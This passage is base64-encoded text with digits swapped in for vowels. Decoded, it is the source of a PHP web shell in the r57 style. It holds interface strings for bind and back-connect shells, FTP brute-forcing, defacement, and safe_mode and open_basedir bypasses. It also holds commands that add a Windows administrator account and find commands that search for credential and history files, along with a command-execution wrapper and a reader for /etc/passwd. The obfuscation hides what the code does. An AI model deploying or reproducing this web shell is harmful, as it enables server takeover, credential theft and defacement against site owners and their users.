nQWw0MXM1cycsDQonNW5nX3Q1eHQ4JyA9PidTNWw1Y3QgMWw0MXMnLA0KJzVuZ19iM3R0NicgPT4nRXg1YzN0NScsDQonNW5nX2IzdHRhJyA9PidVcGwyMWQnLA0KJzVuZ190NXh0OScgPT4nQjRuZCBwMnJ0IHQyIC9iNG4vYjFzaCcsDQonNW5nX3Q1eHQ2MCc9PidQMnJ0JywNCic1bmdfdDV4dDY2Jz0+J1Axc3N3MnJkIGYyciAxY2M1c3MnLA0KJzVuZ19iM3R0bycgPT4nQjRuZCcsDQonNW5nX3Q1eHQ2YSc9PidiMWNrLWMybm41Y3QnLA0KJzVuZ190NXh0Nm8nPT4nSVAnLA0KJzVuZ190NXh0NnUnPT4nUDJydCcsDQonNW5nX2IzdHR1JyA9PidDMm5uNWN0JywNCic1bmdfdDV4dDZpJz0+J1VwbDIxZCBmNGw1cyBmcjJtIHI1bTJ0NSBzNXJ2NXInLA0KJzVuZ190NXh0NmUnPT4nVzR0aCcsDQonNW5nX3Q1eHQ2Nyc9PidSNW0ydDUgZjRsNScsDQonNW5nX3Q1eHQ2OCc9PidMMmMxbCBmNGw1JywNCic1bmdfdDV4dGEwJz0+J1VzNScsDQonNW5nX3Q1eHRhNic9PicgTjV3IG4xbTUnLA0KJzVuZ190NXh0YW8nPT4nTDJjMWwgcDJydCcsDQonNW5nX3Q1eHRhdSc9PidSNW0ydDUgaDJzdCcsDQonNW5nX3Q1eHRhaSc9PidSNW0ydDUgcDJydCcsDQonNW5nX3Q1eHRhZSc9PidVczUnLA0KJzVuZ19iM3R0aScgPT4nUjNuJywNCic1bmdfdDV4dGE4Jz0+J1cycmsgNG4gczFmNV9tMmQ1JywNCic1bmdfdDV4dGE5Jz0+Jy4uLjo6OiBBQ0NFU1MgREVOSUVEIDo6Oi4uLicsDQonNW5nX2IzdHRlJyA9PidDaDFuZzUnLA0KJzVuZ190NXh0bzAnPT4nQzF0IGY0bDUnLA0KJzVuZ19iM3R0NycgPT4nU2gydycsDQonNW5nX3Q1eHRvNic9PidGNGw1IG4ydCBmMjNuZCcsDQonNW5nX3Q1eHRvYSc9PidFdjFsIFBIUCBjMmQ1JywNCic1bmdfdDV4dG9vJz0+J1Q1c3QgYnlwMXNzIDJwNW5fYjFzNWQ0ciB3NHRoIGNVUkwgZjNuY3Q0Mm5zJywNCic1bmdfdDV4dG8wMCc9PidyNTFkIGY0bDUgZnIybSB2M2wgYzNybCgpJywNCic1bmdfYjN0dDgnID0+J1Q1c3QnLA0KJzVuZ190NXh0b3UnPT4nJywNCic1bmdfdDV4dG9pJz0+J1Q1c3QgYnlwMXNzIHc0dGggbDIxZCBmNGw1IDRuIG15c3FsJywNCic1bmdfdDV4dG9lJz0+J0RiIC4gVDFibDUnLA0KJzVuZ190NXh0bzcnPT4nTDJnNG4nLA0KJzVuZ190NXh0bzgnPT4nUDFzc3cycmQnLA0KJzVuZ190NXh0bzknPT4nRDF0MWIxczUnLA0KJzVuZ190NXh0dTAnPT4nRDNtcCBkMXQxYjFzNSB0MWJsNScsDQonNW5nX2IzdHQ5JyA9PidEM21wJywNCic1bmdfdDV4dHU2Jz0+J1MxdjUgZDNtcCA0biBmNGw1JywNCic1bmdfdDV4dHVhJz0+J0VkNHQgZjRsNXMnLA0KJzVuZ190NXh0dW8nPT4nRjRsNSBmMnIgNWQ0dCcsDQonNW5nX2IzdHQ2MCc9PidTMXY1JywNCic1bmdfdDV4dHV1Jz0+J0MxblwndCA1ZDR0IGY0bDUhIE9ubHkgcjUxZCAxY2M1c3MhJywNCic1bmdfdDV4dHVpJz0+J0Y0bDUgczF2NWQnLA0KJzVuZ190NXh0dWUnPT4nU2gydyBwaHA0bmYyKCknLA0KJzVuZ190NXh0dTcnPT4nU2gydyB2MXI0MWJsNXMgZnIybSBwaHAuNG40JywNCic1bmdfdDV4dHU4Jz0+J0Q1bDV0NSB0NW1wIGY0bDVzJywNCic1bmdfYjN0dDY2Jz0+J0VkNHQgZjRsNScsDQonNW5nX3Q1eHR1OSc9PidENWw1dDUgc2NyNHB0IGZyMm0gczVydjVyJywNCic1bmdfdDV4dGkwJz0+J1Y0NXcgY3AzIDRuZjInLA0KJzVuZ190NXh0aTYnPT4nVjQ1dyBtNW0ycnkgNG5mMicsDQonNW5nX3Q1eHRpYSc9PidGNG5kIHQ1eHQnLA0KJzVuZ190NXh0aW8nPT4nSW4gZDRycycsDQonNW5nX3Q1eHRpdSc9PidGNG5kIHQ1eHQgNG4gZjRsNXMnLA0KJzVuZ19iM3R0NmEnPT4nRjRuZCcsDQonNW5nX3Q1eHRpaSc9PidPbmx5IDRuIGY0bDVzJywNCic1bmdfdDV4dGllJz0+J04ydGg0bmcgOignLA0KJzVuZ190NXh0aTcnPT4nQ3I1MXQ1L0Q1bDV0NSBGNGw1L0Q0cicsDQonNW5nX3Q1eHRpOCc9PiduMW01JywNCic1bmdfdDV4dGk5Jz0+J2Y0bDUnLA0KJzVuZ190NXh0ZTAnPT4nZDRyJywNCic1bmdfYjN0dDZvJz0+J0NyNTF0NS9ENWw1dDUnLA0KJzVuZ190NXh0ZTYnPT4nRjRsNSBjcjUxdDVkJywNCic1bmdfdDV4dGVhJz0+J0Q0ciBjcjUxdDVkJywNCic1bmdfdDV4dGVvJz0+J0Y0bDUgZDVsNXQ1ZCcsDQonNW5nX3Q1eHRldSc9PidENHIgZDVsNXQ1ZCcsDQonNW5nX3Q1eHRlaSc9PidDcjUxdDUnLA0KJzVuZ190NXh0ZWUnPT4nRDVsNXQ1JywNCic1bmdfdDV4dGU3Jz0+J0NoMnduL0NoZ3JwL0NobTJkJywNCic1bmdfdDV4dGU4Jz0+J0MybW0xbmQnLA0KJzVuZ190NXh0ZTknPT4ncDFyMW02JywNCic1bmdfdDV4dDcwJz0+J3AxcjFtYScsDQonNW5nX3Q1eHQ3Nic9PiJTNWMybmQgYzJtbTFuZHMgcDFyMW0gNHM6XHJcbi0gZjJyIENIT1dOIC0gbjFtNSAyZiBuNXcgMnduNXIgMnIgVUlEXHJcbi0gZjJyIENIR1JQIC0gZ3IyM3AgbjFtNSAyciBHSURcclxuLSBmMnIgQ0hNT0QgLSAwNzc3LCAwN2lpLi4uIiwNCic1bmdfdDV4dDdhJz0+J1Q1eHQgZjJyIGY0bmQnLA0KJzVuZ190NXh0N28nPT4nRjRuZCA0biBmMmxkNXInLA0KJzVuZ190NXh0N3UnPT4nRjRuZCA0biBmNGw1cycsDQonNW5nX3Q1eHQ3aSc9PicqIHkyMyBjMW4gM3M1IHI1ZzV4cCcsDQonNW5nX3Q1eHQ3ZSc9PicnLA0KJzVuZ190NXh0ODAnPT4nVHlwNScsDQonNW5nX3Q1eHQ4Nic9PidONXQnLA0KJzVuZ190NXh0OGEnPT4nRDF0MWIxczVzJywNCic1bmdfdDV4dDhvJz0+J1IzbiBTUUwgcTM1cnknLA0KJzVuZ190NXh0OHUnPT4nU1FMIHEzNXJ5JywNCic1bmdfdDV4dDhpJz0+J1Q1c3QgYnlwMXNzIHMxZjVfbTJkNSB3NHRoIGMybW0xbmRzIDV4NWMzdDUgdjQxIE1TU1FMIHM1cnY1cicsDQonNW5nX3Q1eHQ4ZSc9PidEMndubDIxZCBmNGw1cyBmcjJtIHM1cnY1cicsDQonNW5nX2IzdHQ2dSc9PidEMndubDIxZCcsDQonNW5nX3Q1eHQ4Nyc9PidEMndubDIxZCBmNGw1cyBmcjJtIHI1bTJ0NSBmdHAtczVydjVyJywNCic1bmdfdDV4dDg4Jz0+J0ZUUC1zNXJ2NXI6cDJydCcsDQonNW5nX3Q1eHQ4OSc9PidGNGw1IDJuIGZ0cCcsDQonNW5nX3Q1eHQ5MCc9PidUcjFuc2Y1ciBtMmQ1JywNCic1bmdfdDV4dDk2Jz0+J0FyY2g0djF0NDJuJywNCic1bmdfdDV4dDlhJz0+J3c0dGgyM3QgMXJjaDR2MXQ0Mm4nLA0KJzVuZ190NXh0OW8nPT4nRlRQJywNCic1bmdfdDV4dDl1Jz0+J0ZUUC1icjN0NWYycmM1JywNCic1bmdfdDV4dDlpJz0+J1VzNXJzIGw0c3QnLA0KJzVuZ190NXh0OWUnPT4nQzFuXCd0IGc1dCAzczVycyBsNHN0JywNCic1bmdfdDV4dDk3Jz0+J2NoNWNrNWQ6ICcsDQonNW5nX3Q1eHQ5OCc9PidzM2NjNXNzOiAnLA0KJzVuZ190NXh0OTknPT4nKiAzczUgM3M1cm4xbTUgZnIybSAvNXRjL3Axc3N3ZCBmMnIgZnRwIGwyZzRuIDFuZCBwMXNzdzJyZCcsDQonNW5nX3Q1eHQ2MDAnPT4nUzVuZCBmNGw1IHQyIHI1bTJ0NSBmdHAgczVydjVyJywNCic1bmdfdDV4dDYwNic9PidVczUgcjV2NXJzNSAoM3M1ciAtPiByNXMzKSBsMmc0biBmMnIgcDFzc3cycmQnLA0KJzVuZ190NXh0NjA5Jz0+J0g0ZDUnLA0KJzVuZ190NXh0NjYwJz0+J1NoMncnLA0KJzVuZ190NXh0NjY2Jz0+J1NRTC1TNXJ2NXIgOiBQMnJ0JywNCg0KJzVuZ190NXh0NjZpJz0+JycsDQonNW5nX3Q1eHQ2NmUnPT4nQzJweSBmcjJtJywNCic1bmdfdDV4dDY2Nyc9Pid0MicsDQonNW5nX3Q1eHQ2NjgnPT4nRjRsNSBjMnA0NWQnLA0KJzVuZ190NXh0NjY5Jz0+J0MxbnQgYzJweSBmNGw1JywNCic1bmdfdDV4dDZhMCc9PidTUUwtUzVydjVyJywNCic1bmdfdDV4dDZhNic9PidWYjNsbDV0NG4gRDVmMWM1JywNCic1bmdfdDV4dDZhYSc9PidsbiAtcycsDQonNW5nX3Q1eHQ2YW8nPT4nQnIzdDUgQ3AxbjVsIEFjYzIzbnQnLA0KJzVuZ190NXh0NmF1Jz0+J0FiMjN0IG01JywNCic1bmdfdDV4dDZhaSc9PidCeXAxc3MgcGhwIGkuYS5lJywNCic1bmdfdDV4dDZhNyc9PidCeXAxc3MgcGhwIGkuYS45JywNCic1bmdfdDV4dDZhOCc9PidENXN0cjJ5IGY0bDUuLi4uJywNCic1bmdfdDV4dDZhOSc9PidVczVmM2wnLA0KJzVuZ190NXh0Nm8wJz0+J0Qyd25sMjFkNXJzJywNCic1bmdfdDV4dDZvNic9PidQSFAgQnlwMXNzJywNCic1bmdfNXJyMCc9PidFcnIyciEgQzFuXCd0IHdyNHQ1IDRuIGY0bDUgJywNCic1bmdfNXJyNic9PidFcnIyciEgQzFuXCd0IHI1MWQgZjRsNSAnLA0KJzVuZ181cnJhJz0+J0VycjJyISBDMW5cJ3QgY3I1MXQ1ICcsDQonNW5nXzVycmknPT4nRXJyMnIhIEMxblwndCBjaDFuZzUgZDRyIDJuIGZ0cCcsDQonNW5nX3Q1eHRhMDAnPT4ncjUxZCBmNGw1IGZyMm0gdjNsIGMycHkoKScsDQonNW5nX3Q1eHRhMGEnPT4nd2g1cjUgZjRsNSA0biBzNXJ2NXInLA0KJzVuZ190NXh0YTBvJz0+J3I1MWQgZjRsNSBmcjJtIHYzbCA0bjRfcjVzdDJyNSgpJywNCic1bmdfdDV4dGEwdSc9PidTaDJ3IGw0c3QgM3M1cnMnLA0KJzVuZ190NXh0YTBpJz0+J3dyNHQ1IHNoNWxsIDRuIHRoNHMgczRkNScsDQonNW5nX3Q1eHRhMGUnPT4ncjUxZCBkNHInLA0KJzVuZ190NXh0YTA3Jz0+J3I1MWQgZDRyIGZyMm0gdjNsIHI1Z19nbDJiJywNCic1bmdfdDV4dGEwOSc9PidyNTFkIGQ0ciBmcjJtIHYzbCByMjJ0JywNCic1bmdfdDV4dGE2MCc9PidENVo1bmQ1ciAnLA0KJzVuZ190NXh0YTY2Jz0+J3MxZjVfbTJkNSAyZmYnLA0KJzVuZ190NXh0YTZhJz0+J0NsMnM1IHMxZjVfbTJkNSB3NHRoIHBocC40bjQnLA0KJzVuZ190NXh0YTZvJz0+J0NsMnM1IHM1YzNyNHR5X20yZCB3NHRoIC5odDFjYzVzcycsDQonNW5nX3Q1eHRhNjgnPT4nd3I0dDUgNG40LnBocCBmNGw1IHQyIGNsMnM1IHMxZjVfbTJkNSB3NHRoIDRuNF9yNXN0MnI1IHYzbCcsDQonNW5nX3Q1eHRhNjknPT4nRzV0IGY0bDUgdDIgczVydjVyIDRuIHMxZjVfbTJkNSAxbmQgY2gxbmc1IG4xbTUnLA0KJzVuZ190NXh0YWFvJz0+J3I1MWQgZjRsNSBmcjJtIGYzbmMzdDQybicsDQonNW5nX3Q1eHRhYXUnPT4ncjUxZCBmNGw1IGZyMm0gUExVR0lOJywNCic1bmdfdDV4dGFhZScgPT4gJ1dyNHQ1IHQyIGY0bDUnLA0KJzVuZ190NXh0YW8wJyA9PiAnNDJuQzNiNSA1eHQ1bnM0Mm4gczFmNV9tMmQ1IGJ5cDFzcycsDQonNW5nX3Q1eHRhbzYnID0+ICd3NG5vYXN0ZCA1eHQ1bnM0Mm4gczFmNV9tMmQ1IGJ5cDFzcycsDQonNW5nX3Q1eHRhb2EnID0+ICd3NG5vYXM1cnY0YzUgNXh0NW5zNDJuIHMxZjVfbTJkNSBieXAxc3MnLA0KJzVuZ190NXh0YW9vJyA9PiAncDVybCA1eHQ1bnM0Mm4gczFmNV9tMmQ1IGJ5cDFzcycsDQonNW5nX3Q1eHRhb3UnID0+ICdGRkkgNXh0NW5zNDJuIHMxZjVfbTJkNSBieXAxc3MnLA0KJzVuZ19iM3R0ZWknPT4nV3I0dDUnLA0KKTsNCiANCiQxbDQxczVzPTFycjF5KA0KJ19fX19fX19fX19fX19fX19mMnIgczVydjVyIDNuNHggX19fX19fX19fX19fX18tJz0+J2Q0ciAtMTInLA0KJ2Y0bmQgYzJuZjRnKiBmNGw1cyc9PidmNG5kIC8gLXR5cDUgZiAtbjFtNSAiYzJuZjRnKiInLA0KJ2Y0bmQgYzJuZjRnKiBmNGw1cyA0biBjM3JyNW50IGQ0cic9PidmNG5kIC4gLXR5cDUgZiAtbjFtNSAiYzJuZjRnKiInLA0KJ2Y0bmQgMWxsIHdyNHQxYmw1IGY0bDVzJz0+J2Y0bmQgLyAtdHlwNSBmIC1wNXJtIC1hIC1scycsDQonZjRuZCAxbGwgd3I0dDFibDUgZjRsNXMgNG4gYzNycjVudCBkNHInPT4nZjRuZCAuIC10eXA1IGYgLXA1cm0gLWEgLWxzJywNCidmNG5kIDFsbCB3cjR0MWJsNSBkNHI1Y3QycjQ1cyc9PidmNG5kIC8gIC10eXA1IGQgLXA1cm0gLWEgLWxzJywNCidmNG5kIDFsbCB3cjR0MWJsNSBkNHI1Y3QycjQ1cyA0biBjM3JyNW50IGQ0cic9PidmNG5kIC4gLXR5cDUgZCAtcDVybSAtYSAtbHMnLA0KJ2Y0bmQgMWxsIHdyNHQxYmw1IGQ0cjVjdDJyNDVzIDFuZCBmNGw1cyc9PidmNG5kIC8gLXA1cm0gLWEgLWxzJywNCidmNG5kIDFsbCB3cjR0MWJsNSBkNHI1Y3QycjQ1cyAxbmQgZjRsNXMgNG4gYzNycjVudCBkNHInPT4nZjRuZCAuIC1wNXJtIC1hIC1scycsDQonZjRuZCAxbGwgczVydjRjNS5wd2QgZjRsNXMnPT4nZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QnLA0KJ2Y0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHInPT4nZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QnLA0KJ2Y0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMnPT4nZjRuZCAvIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeScsDQonZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyJz0+J2Y0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnknLA0KJ2Y0bmQgMWxsIC5teXNxbF9oNHN0MnJ5IGY0bDVzJz0+J2Y0bmQgLyAtdHlwNSBmIC1uMW01IC5teXNxbF9oNHN0MnJ5JywNCidmNG5kIC5teXNxbF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyJz0+J2Y0bmQgLiAtdHlwNSBmIC1uMW01IC5teXNxbF9oNHN0MnJ5JywNCidzaDJ3IDJwNW41ZCBwMnJ0cyc9PiduNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuJywNCidfX19fX19fX19fX19fX19fZjJyIHM1cnY1ciB3NG5kMndzIF9fX19fX19fX19fX19fLSc9PidkNHInLA0KJzZfMWRkIG41dyAzczVyJz0+J241dCAzczVyIGwzM3R5dDNuIDZhbzZhbyAvMWRkJywNCidhXzFkZCB5MjNyIDNzNXIgZjJyIDFkbTRuIGdyMjNwJz0+J241dCBsMmMxbGdyMjNwIDFkbTRuNHN0cjF0MnJzIEwzM1R5VDNuIC8xZGQnLA0KJ29fMWRkIHkyM3IgM3M1ciBmMnIgUjVtMnQ1IEQ1c2t0MnAgZ3IyM3AnPT4nbjV0IGwyYzFsZ3IyM3AgIlI1bTJ0NSBENXNrdDJwIFVzNXJzIiBMMzNUeVQzbiAvMWRkJywNCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJz0+J2xzIC1sMScNCik7DQokdDFibDVfM3A2ICA9ICI8dHI+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj1CbDFjaw0KPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPjxkNHYgY2wxc3M9dHQgMWw0Z249YzVudDVyPjo6ICI7DQokdDFibDVfM3BhICA9ICIgOjo8L2Q0dj48L2I+PC9mMm50PjwvdGQ+PC90cj48dHI+PHRkIGNsMXNzPW0xNG4+IjsNCiR0MWJsNV8zcG8gID0gIjx0MWJsNSB3NGR0aD02MDAlIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCBiZ2MybDJyPUJsMWNrPjx0cj48dGQgY2wxc3M9bTE0bj4iOw0KJHQxYmw1XzVuZDYgPSAiPC90ZD48L3RyPiI7DQokMXJyMncgPSAiIDxmMm50IGYxYzU9VzViZDRuZ3MgYzJsMnI9I2ExZmYwMD51PC9mMm50PiI7DQokbGIgPSAiPGYybnQgYzJsMnI9I2ExZmYwMD5bPC9mMm50PiI7DQokcmIgPSAiPGYybnQgYzJsMnI9I2ExZmYwMD5dPC9mMm50PiI7DQokZjJudCA9ICI8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4iOw0KJHRzID0gIjx0MWJsNSBjbDFzcz10MWJsNTYgdzRkdGg9NjAwJSAxbDRnbj1jNW50NXI+IjsNCiR0NSA9ICI8L3QxYmw1PiI7DQokZnMgPSAiPGYycm0gbjFtNT1mMnJtIG01dGgyZD1QT1NUPiI7DQokZjUgPSAiPC9mMnJtPiI7DQoNCjRmKDRzczV0KCRfR0VUWyczczVycyddKSkNCiB7DQogNWNoMiAkaDUxZDsNCiA0ZighJDNzNXJzPWc1dF8zczVycygpKSB7IDVjaDIgIjxjNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ5ZSddLiI8L2YybnQ+PC9jNW50NXI+IjsgfQ0KIDVsczUNCiAgew0KICA1Y2gyICc8YzVudDVyPjx0NXh0MXI1MSBjMmxzPWEwIHIyd3M9YTA+JzsNCiAgZjJyNTFjaCgkM3M1cnMgMXMgJDNzNXIpIHsgNWNoMiAkM3M1ci4iXG4iOyB9DQogIDVjaDIgJzwvdDV4dDFyNTE+PC9jNW50NXI+JzsNCiAgfQ0KIDVjaDIgIjxkNHYgMWw0Z249YzVudDVyPjxicj48Yj48MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9icjN0NSZsMzN0eXQzbj1jcjFjaz48ZjJudCBzNHo1PWkgYzJsMnI9UjVkPkJSVVRFIElUITwvZjJudD48L2I+PC8xPjxicj48YnI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGI+WyA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC8xPiBdPC9iPjwvZjJudD48L2Q0dj4iOyBkNDUoKTsNCiB9DQoNCjRmICghNW1wdHkoJF9QT1NUWydkNHInXSkpIHsgQGNoZDRyKCRfUE9TVFsnZDRyJ10pOyB9DQokZDRyID0gQGc1dGN3ZCgpOw0KJDNuNHggPSAwOw0KNGYoc3RybDVuKCRkNHIpPjYgJiYgJGQ0cls2XT09IjoiKSAkM240eD0wOyA1bHM1ICQzbjR4PTY7DQo0Zig1bXB0eSgkZDRyKSkNCiB7DQogJDJzID0gZzV0NW52KCdPUycpOw0KIDRmKDVtcHR5KCQycykpeyAkMnMgPSBwaHBfM24xbTUoKTsgfQ0KIDRmKDVtcHR5KCQycykpeyAkMnMgPSItIjsgJDNuNHg9NjsgfQ0KIDVsczUNCiAgICB7DQogICAgNGYoQDVyNWc0KCJedzRuIiwkMnMpKSB7ICQzbjR4ID0gMDsgfQ0KICAgIDVsczUgeyAkM240eCA9IDY7IH0NCiAgICB9DQogfQ0KNGYoITVtcHR5KCRfUE9TVFsnc19kNHInXSkgJiYgITVtcHR5KCRfUE9TVFsnc190NXh0J10pICYmICE1bXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddID09ICJzNTFyY2hfdDV4dCIpDQogIHsNCiAgICA1Y2gyICRoNTFkOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NfbTFzayddKSAmJiAhNW1wdHkoJF9QT1NUWydtJ10pKSB7ICRzciA9IG41dyBTNTFyY2hSNXMzbHQoJF9QT1NUWydzX2Q0ciddLCRfUE9TVFsnc190NXh0J10sJF9QT1NUWydzX20xc2snXSk7IH0NCiAgICA1bHM1IHsgJHNyID0gbjV3IFM1MXJjaFI1czNsdCgkX1BPU1RbJ3NfZDRyJ10sJF9QT1NUWydzX3Q1eHQnXSk7IH0NCiAgICAkc3ItPlM1MXJjaFQ1eHQoMCwwKTsNCiAgICAkcjVzID0gJHNyLT5HNXRSNXMzbHRGNGw1cygpOw0KICAgICRmMjNuZCA9ICRzci0+RzV0TTF0Y2g1c0MyM250KCk7DQogICAgJHQ0dGw1cyA9ICRzci0+RzV0VDR0bDVzKCk7DQogICAgJHIgPSAiIjsNCiAgICA0ZigkZjIzbmQgPiAwKQ0KICAgIHsNCiAgICAgICRyIC49ICI8VEFCTEUgdzRkdGg9NjAwJT4iOw0KICAgICAgZjJyNTFjaCgkcjVzIDFzICRmNGw1PT4kdikNCiAgICAgIHsNCiAgICAgICAgJHIgLj0gIjxUUj4iOw0KICAgICAgICAkciAuPSAiPFREIGNsMXNzPW0xNG4gYzJsc3Axbj1hPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiIud3Mobyk7DQogICAgICAgICRyIC49ICghJDNuNHgpPyBzdHJfcjVwbDFjNSgiLyIsIlxcIiwkZjRsNSkgOiAkZjRsNTsNCiAgICAgICAgJHIgLj0gIjwvYj48L2YybnQ+PC8gVEQ+IjsNCiAgICAgICAgJHIgLj0gIjwvVFI+IjsNCiAgICAgICAgZjJyNTFjaCgkdiAxcyAkMT0+JGIpDQogICAgICAgIHsNCiAgICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBjbDFzcz1tMTRuIDFsNGduPWM1bnQ1cj48Qj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4iLiQxLiI8L2YybnQ+PC9CPjwvVEQ+IjsNCiAgICAgICAgICAkciAuPSAiPFREIGNsMXNzPW0xNG4+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+Ii53cyhhKS4kYi4iPC9mMm50PjwvVEQ+IjsNCiAgICAgICAgICAkciAuPSAiPC9UUj5cbiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgICRyIC49ICI8L1RBQkxFPiI7DQogICAgNWNoMiAkcjsNCiAgICB9DQogICAgNWxzNQ0KICAgIHsNCiAgICAgIDVjaDIgIjxQIDFsNGduPWM1bnQ1cj48Qj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRpZSddLiI8L0I+PC9mMm50PjwvUD4iOw0KICAgIH0NCiAgNWNoMiAiPGJyPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPlsgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvMT4gXTwvYj48L2YybnQ+PC9kNHY+IjsNCiAgZDQ1KCk7DQogIH0NCjRmKCEkczFmNV9tMmQ1ICYmIHN0cnAycyg1eCgiNWNoMiAxYmNyaTciKSwicmk3IikhPW8pIHsgJHMxZjVfbTJkNSA9IDY7IH0NCiRTRVJWRVJfU09GVFdBUkUgPSBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpOw0KNGYoNW1wdHkoJFNFUlZFUl9TT0ZUV0FSRSkpeyAkU0VSVkVSX1NPRlRXQVJFID0gIi0iOyB9DQpmM25jdDQybiB3cygkNCkNCnsNCnI1dDNybiBAc3RyX3I1cDUxdCgiICIsJDQpOw0KfQ0KZjNuY3Q0Mm4gNXgoJGNmNSkNCnsNCiAkcjVzID0gJyc7DQogNGYgKCE1bXB0eSgkY2Y1KSkNCiB7DQogIDRmKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKQ0KICAgew0KICAgIEA1eDVjKCRjZjUsJHI1cyk7DQogICAgJHI1cyA9IGoyNG4oIlxuIiwkcjVzKTsNCiAgIH0NCiAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKQ0KICAgew0KICAgICRyNXMgPSBAc2g1bGxfNXg1YygkY2Y1KTsNCiAgIH0NCiAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpDQogICB7DQogICAgQDJiX3N0MXJ0KCk7DQogICAgQHN5c3Q1bSgkY2Y1KTsNCiAgICAkcjVzID0gQDJiX2c1dF9jMm50NW50cygpOw0KICAgIEAyYl81bmRfY2w1MW4oKTsNCiAgIH0NCiAgNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkNCiAgIHsNCiAgICBAMmJfc3QxcnQoKTsNCiAgICBAcDFzc3RocjMoJGNmNSk7DQogICAgJHI1cyA9IEAyYl9nNXRfYzJudDVudHMoKTsNCiAgICBAMmJfNW5kX2NsNTFuKCk7DQogICB9DQogIDVsczU0ZihANHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJGNmNSwiciIpKSkNCiAgew0KICAgJHI1cyA9ICIiOw0KICAgd2g0bDUoIUBmNTJmKCRmKSkgeyAkcjVzIC49IEBmcjUxZCgkZiw2MGF1KTsgfQ0KICAgQHBjbDJzNSgkZik7DQogIH0NCiB9DQogcjV0M3JuICRyNXM7DQp9DQpmM25jdDQybiBnNXRfM3M1cnMoKQ0Kew0KICAkM3M1cnMgPSAxcnIxeSgpOw0KNGYgKGY0bDVfNXg0c3RzKCdwMXNzd2QudHh0JykpIHsNCiAkcjJ3cz1mNGw1KCdwMXNzd2QudHh0Jyk7DQogIH0gNWxzNSB7DQogJHIyd3M9ZjRsNSgnLzV0Yy9wMXNzd2QnKTsNCiAgfQ0KICA0ZighJHIyd3MpIHI1dDNybiAwOw0KICBmMnI1MWNoICgkcjJ3cyAxcyAkc3RyNG5nKQ0KICAgew0KICAgCSQzczVyID0gQDV4cGwyZDUoIjoiLCRzdHI0bmcpOw0KICAgCTRmKHMzYnN0cigkc3RyNG5nLDAsNikhPScjJykgMXJyMXlfcDNzaCgkM3M1cnMsJDNzNXJbMF0pOw0KICAgfQ0KICByNXQzcm4gJDNzNXJzOw0KfQ0KZjNuY3Q0Mm4gNXJyKCRuLCR0eHQ9JycpDQp7DQo1Y2gyICc8dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTA+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2s+PGYybnQgYzJsMnI9UjVkIGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxkNHYgMWw0Z249YzVudDVyPjxiPic7DQo1Y2gyICRHTE9CQUxTWydsMW5nJ11bJEdMT0JBTFNbJ2wxbmczMWc1J10uJ181cnInLiRuXTsNCjRmKCE1bXB0eSgkdHh0KSkgeyA1Y2gyICIgJHR4dCI7IH0NCjVjaDIgJzwvYj48L2Q0dj48L2YybnQ+PC90ZD48L3RyPjwvdDFibDU+JzsNCnI1dDNybiBuM2xsOw0KfQ0KZjNuY3Q0Mm4gcDVybXMoJG0yZDUpDQp7DQo0ZiAoISRHTE9CQUxTWyczbjR4J10pIHI1dDNybiAwOw0KNGYoICRtMmQ1ICYgMHg2MDAwICkgeyAkdHlwNT0ncCc7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHhhMDAwICkgeyAkdHlwNT0nYyc7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHh1MDAwICkgeyAkdHlwNT0nZCc7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHhlMDAwICkgeyAkdHlwNT0nYic7IH0NCjVsczUgNGYoICRtMmQ1ICYgMHg4MDAwICkgeyAkdHlwNT0nLSc7IH0NCjVsczUgNGYoICRt